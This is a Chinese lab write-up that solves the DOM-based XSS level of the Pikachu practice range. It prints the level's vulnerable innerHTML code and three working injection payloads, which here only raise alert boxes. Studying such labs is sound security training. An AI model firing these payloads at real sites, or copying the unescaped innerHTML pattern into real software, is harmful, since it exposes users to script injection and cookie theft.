pikachu靶场通关笔记08 XSS关卡04-DOM型XSS
目录
一、XSS原理
二、DOM型XSS
三、源码分析
1、进入靶场
2、XSS探测
3、源码分析
四、渗透实战
1、Payload1
2、Payload2
3、Payload3
本系列为通过《pikachu靶场通关笔记》的XSS关卡(共10关)渗透集合,通过对XSS关卡源码的代码审计找到XSS风险的真实原因,讲解XSS原理并进行渗透实践,本文为XSS关卡 04-DOM 型XSS的渗透部分。
一、XSS原理
XSS(Cross - Site Scripting) 跨站脚本攻击是一种常见的Web安全风险,因其高危害性位列OWASP Top 10安全威胁。攻击者通过注入恶意脚本(通常为JavaScript)到网页中,脚本在其浏览器执行。XSS主要分为3种类别,具体如下表所示。
类型 | 原理 | 数据交互 | 危害 |
---|---|---|---|
反射型 XSS | 攻击者诱使用户点击含恶意脚本的链接,服务器将脚本反射回浏览器执行 | URL 参数传入恶意脚本,服务器原样返回 | 泄露用户敏感信息,如登录凭证、个人资料等;篡改页面内容,误导用户操作 |
存储型 XSS | 恶意脚本被存储在服务器端,用户访问相关页面时执行 | 恶意脚本提交到服务器并存储,用户访问页面时服务器返回含脚本内容 | 影响范围广,所有访问该页面的用户都会受到攻击;可进行大规模的信息窃取、会话劫持 |
DOM 型 XSS | 攻击者通过构造恶意输入,利用页面 JS 修改 DOM 结构注入脚本,不涉及服务器处理 | 在页面表单输入恶意脚本,页面 JS 处理输入时触发 | 破坏页面的正常显示和功能;可能导致用户在不知情的情况下执行危险操作 |
二、DOM型XSS
DOM 型 XSS(Document Object Model Cross-Site Scripting)是一种基于浏览器文档对象模型(DOM)的跨站脚本攻击类型。与反射型和存储型 XSS 不同,DOM 型 XSS 攻击不依赖服务器端响应数据,而是利用网页中 JavaScript 对 DOM 的不当操作来实现。
攻击者通过精心构造 URL 或诱导用户输入恶意数据,使得网页中的 JavaScript 代码在处理数据并修改 DOM 结构时,将恶意脚本作为合法内容插入到页面中。当浏览器解析并执行这些恶意脚本时,就会触发攻击,如窃取用户 Cookie、劫持会话等。由于攻击发生在客户端浏览器,且不涉及服务器数据存储和直接响应,其检测和防御相对复杂,需要开发者对前端代码中的 DOM 操作进行严格的安全审查和输入验证 。
分类 | DOM型XSS |
---|---|
存储位置 | 不经过服务器,恶意代码存在于URL片段(# 后)或前端输入 |
触发方式 | 前端JavaScript动态操作DOM时执行 |
攻击场景 | 单页应用(SPA)、动态网页、依赖前端路由的Web应用 |
危害范围 | 执行恶意脚本的用户 |
攻击特点 | 绕过服务端检测(WAF无效),纯前端风险 |
防御措施 | 安全的DOM操作(如textContent 替代innerHTML )、前端输入验证、CSP策略 |
修复难度 | 中(需全面检查前端代码) |
三、源码分析
1、进入靶场
进入pikachu靶场XSS系列关系的04关-DOM型XSS页面,打开后发现是一个留言板,如下所示。
http://127.0.0.1/pikachu/vul/xss/xss_dom.php
2、XSS探测
输入关键字判断是否有过滤,关键字包括:单引号、双引号、左右尖括号、问号、&、字符串与数字,接下来我们在搜索框输入'"<>?&ljn20241019进行探测,如下所示。
'"<>?&ljn20241019
测试 发现输入和输出有区别,
3、源码分析
查看DOM型XSS关卡源码xss_dom.php文件内容,右键源码,CTRL+F搜素关键词上图中出现的关键字what,发现一个js函数,利用了DOM将字符串进行了拼接并把值给a标签的href,然后输出
这段代码存在DOM型 XSS风险,具体的源码经过详细注释后如下所示。
<div id="xssd_main"><script>function domxss(){// 获取用户输入(未经过滤)var str = document.getElementById("text").value;// 直接拼接用户输入到HTML中(高危操作)document.getElementById("dom").innerHTML = "<a href='"+str+"'>what do you see?</a>";}// 攻击者可尝试的Payload示例:// 1. '><img src="#" onmouseover="alert('xss')"> → 闭合标签并插入恶意图片// 2. ' onclick="alert('xss')"> → 闭合标签并添加点击事件</script><!-- 用户输入框 --><input id="text" name="text" type="text" value="" /><!-- 触发DOM操作的按钮 --><input id="button" type="button" value="click me!" onclick="domxss()" /><!-- 动态内容插入区域(XSS触发点) --><div id="dom"></div>
</div>
分析可知本关卡通过 getElementById 获取到了标签 Id 为 text的内容赋值给str.然后又把 str 的内容通过字符串拼接的方式写到了 a 标签的 href 属性中,a标签会写到 Id 为 dom的 div 标签中。产生XSS风险的关键代码如下所示。
function domxss(){var str = document.getElementById("text").value; // 获取用户输入document.getElementById("dom").innerHTML = "<a href='"+str+"'>what do you see?</a>"; // 直接拼接HTML
}
XSS的根源在于不可信数据未经验证直接插入DOM,这个处理逻辑如下所示。
1)我们通过 <input id=“text” name=“text” type=“text” value="" / > 将字符串赋值给text然后JavaScript
var str = document.getElementById(“text”).value; 获取到了text的值
2)然后document.getElementById(“dom”).innerHTML = “< a href=’”+str+"’>what do you see?< /a > ";
把这个text字符串整合到a这个标签中的href里再把a标签写入到dom这个标签中。
3)最后< div id=“dom” >< /div > 执行这个dom标签
XSS原理如下所示。
XSS类型 | DOM型XSS |
---|---|
触发条件 | 用户输入直接拼接到innerHTML ,未经过滤或编码 |
攻击方式 | 通过闭合标签(如'> )注入恶意HTML/JS代码 |
危害 | 窃取Cookie、钓鱼攻击、页面篡改 |
XSS成因与示例如下所示。
问题环节 | 具体风险 | 攻击示例 |
---|---|---|
未过滤用户输入 | 用户控制的str 直接拼接到innerHTML 中 | 输入'><img src="#" onmouseover="alert('xss')"> |
危险API使用 | innerHTML 会解析HTML/JS代码(非安全文本插入) | 输入' onclick="alert('xss')"> 闭合标签并注入事件 |
缺乏输出编码 | 未对用户输入的" ' < > 等字符转义 | 输入javascript:alert(1) 可构造恶意链 |
四、渗透实战
<a href='"+str+"'>what do you see?</a>
1、Payload1
payload1: #' οnclick=alert("ljn")>
#' onclick=alert("ljn")>
闭合后:<a href='#' οnclick="alert("ljn")">'>what do you see?</a>
点击click me后,下方生成链接,点击链接后,弹框ljn
分析:右键元素-点击查看器-Ctrl+F搜索关键字what
2、Payload2
payload3: ' οnclick="alert('ljn')">
' onclick="alert('ljn')">
闭合后:<a href οnclick="alert('ljn')"> >'what do you see?</a>
3、Payload3
payload2: '><img src="#" οnmοuseοver="alert('ljn')">
'><img src="#" onmouseover="alert('ljn')">
闭合后:<a href><img src="#" οnmοuseοver="alert('haha')">'>what do you see?</a>
相关文章:

pikachu靶场通关笔记08 XSS关卡04-DOM型XSS
目录 一、XSS原理 二、DOM型XSS 三、源码分析 1、进入靶场 2、XSS探测 3、源码分析 四、渗透实战 1、Payload1 2、Payload2 3、Payload3 本系列为通过《pikachu靶场通关笔记》的XSS关卡(共10关)渗透集合,通过对XSS关卡源码的代码审计找到XSS风…...
python集成inotify-rsync实现跨服务器文件同步
1、实现功能 通过结合 Python 的 watchdog 库(类似 Linux 的 inotify 机制)和 rsync 命令,实现了文件系统变化的实时监控和增量同步。下面详细解释其工作原理和运行方式: 2、核心工作原理 2.1、文件监控 使用watchdog库监控源目…...
005 ElasticSearch 许可证过期问题
ElasticSearch 许可证过期问题 项目启动报错 org.elasticsearch.client.ResponseException: method [GET], host [http://127.0.0.1:9200], URI [/_cluster/health/], status line [HTTP/1.1 403 Forbidden] {"error":{"root_cause":[{"type":…...

Spring AI 系列之使用 Spring AI 开发模型上下文协议(MCP)
1. 概述 现代网页应用越来越多地集成大型语言模型(LLMs)来构建解决方案,这些解决方案不仅限于基于常识的问答。 为了增强 AI 模型的响应能力,使其更具上下文感知,我们可以将其连接到外部资源,比如搜索引擎…...

[Python] Python运维:系统性能信息模块psutil和系统批量运维管理器paramiko
初次学习,如有错误还请指正 目录 系统性能信息模块psutil 获取系统性能信息 CPU信息 内存信息 磁盘信息 网络信息 其他信息 进程信息 实用的IP地址处理模块IPy IP地址、网段的基本处理 多网络计算方法 系统批量运维管理器paramiko paramiko 的安装 Li…...

Linux 简单模拟实现C语言文件流
🌇前言 在 C语言 的文件流中,存在一个 FILE 结构体类型,其中包含了文件的诸多读写信息以及重要的文件描述符 fd,在此类型之上,诞生了 C语言 文件相关操作,如 fopen、fclose、fwrite 等,这些函数…...
ArcPy错误处理与调试技巧(3)
三、调试技巧 调试是编程过程中不可或缺的一部分,以下是一些常用的调试技巧: 1. 打印调试信息 在代码中添加print语句,可以帮助你了解程序的运行状态和变量的值。例如: # 打印提示信息,表示开始执行缓冲区分析 print(…...

小程序使用npm包的方法
有用的链接 npm init -y 这个命令很重要, 会初始化 package.json 再重新打开微信小程序开发工具 选择工具中npm构建 在程序中引用时在main.js中直接使用包名的方式引用即可 如安装的是generator包,npm构建后就会生成 const myPackage require(***-generato…...
Asp.Net Core SignalR的协议协商问题
文章目录 前言一、协议协商的原理二、常见的协商问题及解决办法1.跨域资源共享(CORS)问题2.身份验证和授权问题3.传输方式不兼容问题4.路由配置错误5.代理和负载均衡器问题6.自定义协商(高级) 总结 前言 在ASP.NET Core SignalR …...

Rust 学习笔记:发布一个 crate 到 crates.io
Rust 学习笔记:发布一个 crate 到 crates.io Rust 学习笔记:发布一个 crate 到 crates.io提供有用的文档注释常用标题文档注释作为测试注释所包含的项目 使用 pub use 导出一个方便的公共 API设置 crates.io 账户添加 metadata 到一个新的 crate发布到 c…...
剪枝中的 `break` 与 `return` 区别详解
在回溯算法的剪枝操作中: if (sum candidates[i] > target) break;这个 break 既不等效于 return,也不会终止整个回溯过程。它只会终止当前层循环的后续迭代,而不会影响其他分支的回溯。让我用图解和示例详细说明: …...
Spring Boot 4.0实战:构建高并发电商系统
Spring Boot 4.0作为Java生态的全新里程碑,首次原生支持虚拟线程(Virtual Threads)与Project Loom特性,单机QPS处理能力较3.x版本提升5-8倍。本文以电商系统为实战场景,深度解析Spring Boot 4.0在微服务架构、分库分表…...

Vert.x学习笔记-EventLoop与Context的关系
Vert.x学习笔记 1. EventLoop 的核心作用2. Context 的核心作用3. EventLoop 与 Context 的关系1. 事件循环(EventLoop)的核心职责2. 上下文(Context)的核心职责3. 事件循环与上下文的关系(1)一对一绑定&am…...

2025030给荣品PRO-RK3566开发板单独升级Android13的boot.img
./build.sh init ./build.sh -K ./build.sh kernel 【导入配置文件】 Z:\Android13.0\rockdev\Image-rk3566_t\config.cfg 【更新的内核】 Z:\Android13.0\rockdev\Image-rk3566_t\boot.img 【导入分区表,使用原始的config.cfg会出错的^_】 Z:\Android13.0\rockdev\…...

由enctype-引出post与get的关系,最后深究至请求/响应报文
本篇载自我的笔记,本次为第二次复习。我觉得我有能力理一下思路了。 --- 笔记截图。 enctype HTML 表单的 enctype(Encode Type,编码类型)属性用于控制表单数据在提交到服务器时的编码方式,不同取值的详细解析如下&a…...
排序算法衍生问题
排序算法衍生问题 引言 排序算法是计算机科学中基础且重要的算法之一,其应用广泛,如数据统计分析、数据库操作、网络排序等。随着计算机科学的发展,排序算法的研究不仅局限于传统的排序方法,还衍生出许多有趣且实用的衍生问题。…...
Mac电脑上本地安装 redis并配置开启自启完整流程
文章目录 一、安装 Redis方法 1:通过源码编译安装(推荐)方法 2:通过 Homebrew 安装(可选) 二、配置 Redis1. 创建配置文件和数据目录2. 修改配置文件 三、配置开机自启1、通过 launchd 系统服务(…...
STP(生成树协议)原理与配置
冗余链路与环路问题 冗余链路虽然提供网络可靠性,但会引发环路问题。广播风暴导致网络资源耗尽,MAC地址表频繁更新造成震荡,同一数据帧通过不同路径重复传输影响数据完整性。 STP工作机制 生成树协议通过选举机制消除环路,同时…...

搭建基于VsCode的ESP32的开发环境教程
一、VsCode搜索ESP-IDF插件 根据插件处搜索找到ESP-IDF并安装 安装完成 二、配置安装ESP-IDF 配置IDF 按照如下配置,点击安装 安装完成 三、使用案例程序 创建一个闪光灯的例子程序,演示程序编译下载。 选择blink例子,闪烁LED的程序 选…...

【MFC】初识MFC
目录 01 模态和非模态对话框 02 静态文本 static text 01 模态和非模态对话框 首先我们需要知道模态对话框和非模态对话框的区别: 模态对话框是一种阻塞时对话框,它会阻止用户与应用程序的其他部分进行交互,直到用户与该对话框进行交互并关…...
C++.二分法教程
二分法 1. 问题引入1.1 猜数字游戏2.1 二分法核心思想为什么需要二分法?二分法的基本步骤示例代码代码解析 2.2 二分法适用场景有序数组查找效率要求高示例场景示例代码代码解析 3.1 初始化左右边界示例代码代码解析 3.2 计算中间值示例代码代码解析 3.3 判断与更新…...

如何通过数据分析优化项目决策
通过数据分析优化项目决策需从明确数据分析目标、选择适当的数据分析工具、确保数据质量、建立数据驱动文化等方面入手,其中,明确数据分析目标是优化决策过程的基础,只有清晰明确的数据分析目标才能指导有效的数据采集与分析,避免…...

2024年数维杯国际大学生数学建模挑战赛B题空间变量协同估计方法研究解题全过程论文及程序
2024年数维杯国际大学生数学建模挑战赛 B题 空间变量协同估计方法研究 原题再现: 在数理统计学中,简单采样通常假设来自相同总体的采样点彼此独立。与数理统计相反,空间统计假设空间变量的采样点是相依的,并在其值中表现出某些趋…...

leetcode hot100刷题日记——34.将有序数组转换为二叉搜索树
First Blood:什么是平衡二叉搜索树? 二叉搜索树(BST)的性质 左小右大:每个节点的左子树中所有节点的值都小于该节点的值,右子树中所有节点的值都大于该节点的值。 子树也是BST:左子树和右子树也…...
thinkphp 5.1 部分知识记录<一>
1、配置基础 惯例配置->应用配置->模块配置->动态配置 惯例配置:核心框架内置的配置文件,无需更改。应用配置:每个应用的全局配置文件(框架安装后会生成初始的应用配置文件),有部分配置参数仅能在应用配置文件中设置。模块配置:每个模块的配置文件(相同的配置…...
RAG:面向知识密集型自然语言处理任务的检索增强生成
摘要 大型预训练语言模型已被证明能够在其参数中存储事实性知识,并在下游自然语言处理(NLP)任务的微调中取得了最先进的结果。然而,它们访问和精准操作知识的能力仍然有限,因此在知识密集型任务中,其表现落后于针对特定任务设计的架构。此外,如何为它们的决策提供出处(…...
MVVM、MVC的区别、什么是MVVM
一、什么是MVVM (一)定义 MVVM是Model - View - ViewModel的缩写,它是一种软件架构设计模式,主要用于构建用户界面。这种模式将应用程序分为三个主要部分: Model(模型层) 它是应用程序中负责…...

网页自动化部署(webhook方法)
实现步骤: 宝塔安装宝塔WebHook 2.5插件。 github 上配置网页仓库(或可在服务器的网页根目录clone)。 配置宝塔WebHook 2.5 添加hook脚本; 编辑添加syncJC脚本; #!/bin/bash # 定义网站根目录 WEBROOT"/www…...
线性代数入门:轻松理解二阶与三阶行列式的定义与理解
前言 行列式是线性代数中一个非常基础但又极其重要的概念。它不仅是解线性方程组的利器,还在矩阵理论、向量空间、特征值等问题中扮演着关键角色。今天,我将用最通俗易懂的方式,向高中生朋友们介绍二阶和三阶行列式的基本概念和计算方法。让…...

AU6825集成音频DSP的2x32W数字型ClaSSD音频功率放大器(替代TAS5825)
1.特性 ● 输出配置 - 立体声 2.0: 2 x 32W (8Ω,24V,THD N 10%) - 立体声 2.0: 2 x 26W (8Ω,21V,THD N 1%) ● 供电电压范围 - PVDD:4.5V -26.4V - DVDD: 1.8V 或者 3.3V ● 静态功耗 - 37mA at PVDD12V ● 音频性能指标 - THDN ≤ 0.02% at 1W,1kHz - SNR ≥ 107dB (A-wei…...